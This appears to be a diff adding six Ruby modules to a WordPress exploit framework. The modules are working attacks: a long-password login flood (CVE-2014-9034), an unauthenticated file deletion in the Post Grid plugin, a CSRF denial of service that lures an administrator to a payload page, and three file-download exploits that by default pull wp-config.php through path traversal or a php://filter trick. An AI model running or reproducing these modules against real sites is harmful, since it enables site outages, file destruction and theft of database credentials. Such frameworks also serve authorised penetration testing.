wpxf 2.0.0a

data/lib/wpxf/modules/auxiliary/dos/long_password_dos.rb

@@ -0,0 +1,141 @@
+# frozen_string_literal: true
+
+class Wpxf::Auxiliary::LongPasswordDos < Wpxf::Module
+  include Wpxf
+  include Wpxf::Net::HttpClient
+  include Wpxf::WordPress::Login
+  include Wpxf::WordPress::User
+
+  def initialize
+    super
+
+    update_info(
+      name: 'Long Password DoS',
+      desc: 'WordPress before 3.7.5, 3.8.x before 3.8.5, 3.9.x before 3.9.3, '\
+            'and 4.x before 4.0.1 allows remote attackers to cause a denial '\
+            'of service via a long password that is improperly handled during '\
+            'hashing.',
+      author: [
+        'Javier Nieto Arevalo',  # Vulnerability disclosure
+        'Andres Rojas Guerrero', # Vulnerability disclosure
+        'rastating'              # WPXF module
+      ],
+      references: [
+        ['CVE', '2014-9034'],
+        ['WPVDB', '7681'],
+        ['URL', 'http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-9034']
+      ],
+      date: 'Nov 20 2014'
+    )
+
+    register_options([
+      IntegerOption.new(
+        name: 'pass_length',
+        required: true,
+        desc: 'Length of the password to use',
+        default: 1_000_000
+      ),
+      IntegerOption.new(
+        name: 'max_requests',
+        required: true,
+        desc: 'Max number of requests to send',
+        default: 200
+      ),
+      IntegerOption.new(
+        name: 'http_client_timeout',
+        desc: 'Max wait time in seconds for HTTP responses',
+        default: 5,
+        required: true
+      ),
+      StringOption.new(
+        name: 'username',
+        desc: 'The username to attempt to login with',
+        required: true,
+        default: ''
+      ),
+      BooleanOption.new(
+        name: 'validate_user',
+        desc: 'Validate the specified username',
+        required: true,
+        default: true
+      )
+    ])
+  end
+
+  def should_validate_user?
+    normalized_option_value('validate_user')
+  end
+
+  def username
+    normalized_option_value('username')
+  end
+
+  def max_requests
+    normalized_option_value('max_requests')
+  end
+
+  def pass_length
+    normalized_option_value('pass_length')
+  end
+
+  def check
+    target_version = wordpress_version
+    vuln_ranges = [
+      [Gem::Version.new('0'), Gem::Version.new('3.7.5')],
+      [Gem::Version.new('3.8'), Gem::Version.new('3.8.5')],
+      [Gem::Version.new('3.9'), Gem::Version.new('3.9.3')],
+      [Gem::Version.new('4.0'), Gem::Version.new('4.0.1')]
+    ]
+
+    return :unknown if target_version.nil?
+
+    vuln_ranges.each do |range|
+      if target_version >= range[0] && target_version < range[1]
+        return :vulnerable
+      end
+    end
+
+    :safe
+  end
+
+  def run
+    return false unless super
+
+    if should_validate_user?
+      emit_info "Checking if user \"#{username}\" exists..."
+      unless wordpress_user_exists?(username)
+        emit_error 'The specified user does not exist, aborting operation.'
+        return
+      end
+    end
+
+    emit_info "Generating payload..."
+    pass = Wpxf::Utility::Text.rand_alpha(pass_length)
+    opts = {
+      url: wordpress_url_login,
+      method: :post,
+      body: wordpress_login_post_body(username, pass)
+    }
+
+    emit_info "Preparing #{max_requests} requests..."
+    complete_requests = 0
+    max_requests.times do
+      queue_request(opts) do |res|
+        complete_requests += 1
+        emit_warning("#{complete_requests} requests executed") if complete_requests % 10 == 0
+      end
+    end
+
+    emit_info "Beginning execution of #{max_requests} requests over #{max_http_concurrency} threads"
+    execute_queued_requests
+    emit_success 'Finished executing requests'
+
+    if wordpress_and_online?
+      emit_error "FAILED: #{full_uri} appears to still be online"
+      return false
+    else
+      emit_success "#{full_uri} appears to be down"
+      return true
+    end
+  end
+end

data/lib/wpxf/modules/auxiliary/dos/post_grid_file_deletion.rb

@@ -0,0 +1,67 @@
+# frozen_string_literal: true
+
+class Wpxf::Auxiliary::PostGridFileDeletion < Wpxf::Module
+  include Wpxf
+
+  def initialize
+    super
+
+    update_info(
+      name: 'Post Grid <= 2.0.12 Unauthenticated Arbitrary File Deletion',
+      desc: 'This module exploits a vulnerability in versions <= 2.0.12 of '\
+            'the Post Grid plugin which allows you to delete any arbitrary '\
+            'file accessible by the user the web server is running as.',
+      author: [
+        'White Fir Design', # Disclosure
+        'rastating'         # WPXF module
+      ],
+      references: [
+        ['WPVDB', '8667'],
+        ['URL', 'https://www.pluginvulnerabilities.com/2016/11/08/file-deletion-vulnerability-in-post-grid/']
+      ],
+      date: 'Nov 08 2016'
+    )
+
+    register_options([
+      StringOption.new(
+        name: 'remote_file',
+        desc: 'The relative or absolute path of the file to delete (relative to /wp-admin/)',
+        required: true
+      )
+    ])
+  end
+
+  def check
+    check_plugin_version_from_readme('post-grid', '2.0.13')
+  end
+
+  def remote_file
+    normalized_option_value('remote_file')
+  end
+
+  def run
+    return false unless super
+
+    emit_info "Deleting #{remote_file}..."
+    res = execute_post_request(
+      url: wordpress_url_admin_ajax,
+      body: {
+        action: 'post_grid_ajax_remove_export_content_layout',
+        file_url: remote_file
+      }
+    )
+
+    if res.nil? || res.timed_out?
+      emit_error 'Request timed out'
+      return false
+    end
+
+    if res.code != 200
+      emit_error "Server responded with code #{res.code}"
+      return false
+    end
+
+    emit_success 'File deleted'
+    true
+  end
+end

data/lib/wpxf/modules/auxiliary/dos/wp_v4.7.2_csrf_dos.rb

@@ -0,0 +1,83 @@
+# frozen_string_literal: true
+
+class Wpxf::Auxiliary::Wp472CsrfDos < Wpxf::Module
+  include Wpxf::WordPress::ReflectedXss
+
+  def initialize
+    super
+
+    update_info(
+      name: 'WordPress 4.2-4.7.2 - CSRF DoS',
+      desc: %(
+        A Cross-Site Request Forgery (CSRF) vulnerability exists on the Press This page of WordPress.
+        This issue can be used to create a Denial of Service (DoS) condition if an authenticated
+        administrator visits a malicious URL.
+      ),
+      author: [
+        'Sipke Mellema', # Vulnerability disclosure
+        'rastating'      # WPXF module
+      ],
+      references: [
+        ['WPVDB', '8770'],
+        ['URL', 'https://wordpress.org/news/2017/03/wordpress-4-7-3-security-and-maintenance-release/'],
+        ['URL', 'https://sumofpwn.nl/advisory/2016/cross_site_request_forgery_in_wordpress_press_this_function_allows_dos.html']
+      ],
+      date: 'Mar 06 2017'
+    )
+
+    register_option(
+      IntegerOption.new(
+        name: 'request_count',
+        required: true,
+        desc: 'The number of requests to make',
+        default: 50
+      )
+    )
+  end
+
+  def check
+    target_version = wordpress_version
+    return :unknown if target_version.nil?
+
+    version_vulnerable?(target_version, Gem::Version.new('4.7.3'), Gem::Version.new('4.2'))
+  end
+
+  def url_with_xss
+    xss_url
+  end
+
+  def request_count
+    normalized_option_value('request_count')
+  end
+
+  def generate_payload_url
+    normalize_uri(wordpress_url_admin, "press-this.php?u=#{url_encode(xss_url)}#{url_encode('.txt')}&url-scan-submit=Scan&#{Utility::Text.rand_alpha(3)}=#{Utility::Text.rand_alpha(3)}")
+  end
+
+  def on_http_request(path, _params, _headers)
+    if path == "/#{xss_path}"
+      emit_info 'Starting DoS...'
+      res = ''
+      request_count.times do
+        res = "#{res}<img src='#{generate_payload_url}'>"
+      end
+
+      { body: res, type: 'text/html' }
+    else
+      emit_info 'Sending DoS payload...'
+      '<>' * 56_000_000
+    end
+  end
+
+  def run
+    return false unless super
+
+    emit_info 'Provide the URL below to the victim to begin the denial of service'
+    puts
+    puts url_with_xss
+    puts
+
+    start_http_server
+    true
+  end
+end

data/lib/wpxf/modules/auxiliary/file_download/ad_widget_php_file_download.rb

@@ -0,0 +1,54 @@
+# frozen_string_literal: true
+
+class Wpxf::Auxiliary::AdWidgetPhpFileDownload < Wpxf::Module
+  include Wpxf::WordPress::FileDownload
+
+  def initialize
+    super
+
+    update_info(
+      name: 'Ad-Widget <= 2.11.0 Authenticated PHP File Download',
+      author: [
+        'rastating' # WPXF module
+      ],
+      references: [
+        ['WPVDB', '8789']
+      ],
+      date: 'Apr 04 2017'
+    )
+  end
+
+  def check
+    check_plugin_version_from_readme('ad-widget', '2.12.0')
+  end
+
+  def requires_authentication
+    true
+  end
+
+  def default_remote_file_path
+    '../wp-config'
+  end
+
+  def working_directory
+    'wp-admin/'
+  end
+
+  def file_extension
+    '.php'
+  end
+
+  def downloader_url
+    normalize_uri(wordpress_url_plugins, 'ad-widget', 'views', 'modal', 'index.php')
+  end
+
+  def validate_content(res)
+    return false unless super(res)
+    File.write(downloaded_filename, Base64.decode64(res))
+    true
+  end
+
+  def download_request_params
+    { 'step' => "php://filter/convert.base64-encode/resource=#{remote_file}" }
+  end
+end

data/lib/wpxf/modules/auxiliary/file_download/all_in_one_migration_export.rb

@@ -0,0 +1,68 @@
+# frozen_string_literal: true
+
+class Wpxf::Auxiliary::AllInOneMigrationExport < Wpxf::Module
+  include Wpxf::WordPress::FileDownload
+
+  def initialize
+    super
+
+    update_info(
+      name: 'All-in-One Migration Export',
+      desc: %(
+        This module allows you to export WordPress data (such as the
+        database, plugins, themes, uploaded files, etc) via the
+        All-in-One Migration plugin in versions < 2.0.5.
+      ),
+      author: [
+        'James Golovich', # Disclosure
+        'rastating'       # WPXF module
+      ],
+      references: [
+        ['WPVDB', '7857'],
+        ['URL', 'http://www.pritect.net/blog/all-in-one-wp-migration-2-0-4-security-vulnerability']
+      ],
+      date: 'Mar 19 2015'
+    )
+
+    register_option(
+      IntegerOption.new(
+        name: 'http_client_timeout',
+        desc: 'Max wait time in seconds for HTTP responses',
+        default: 300,
+        required: true
+      )
+    )
+  end
+
+  def check
+    check_plugin_version_from_readme('all-in-one-wp-migration', '2.0.5')
+  end
+
+  def register_remote_file_option?
+    false
+  end
+
+  def download_request_method
+    :post
+  end
+
+  def download_request_body
+    { 'options[action]' => 'export' }
+  end
+
+  def download_request_params
+    { 'action' => 'router' }
+  end
+
+  def downloader_url
+    wordpress_url_admin_ajax
+  end
+
+  def file_extension
+    '.zip'
+  end
+
+  def file_category
+    'full backup'
+  end
+end

data/lib/wpxf/modules/auxiliary/file_download/antioch_arbitrary_file_download.rb

@@ -0,0 +1,41 @@
+# frozen_string_literal: true
+
+class Wpxf::Auxiliary::AntiochArbitraryFileDownload < Wpxf::Module
+  include Wpxf::WordPress::FileDownload
+
+  def initialize
+    super
+
+    update_info(
+      name: 'Antioch Theme Arbitrary File Download',
+      author: [
+        'Ashiyane Digital Security Team', # Disclosure
+        'rastating'                       # WPXF module
+      ],
+      references: [
+        ['WPVDB', '8406']
+      ],
+      date: 'Sep 08 2014'
+    )
+  end
+
+  def check
+    check_theme_version_from_style('antioch')
+  end
+
+  def default_remote_file_path
+    '../../../../../wp-config.php'
+  end
+
+  def working_directory
+    'wp-content/themes/antioch/lib/scripts/'
+  end
+
+  def downloader_url
+    normalize_uri(wordpress_url_themes, 'antioch', 'lib', 'scripts', 'download.php')
+  end
+
+  def download_request_params
+    { 'file' => remote_file }
+  end
+end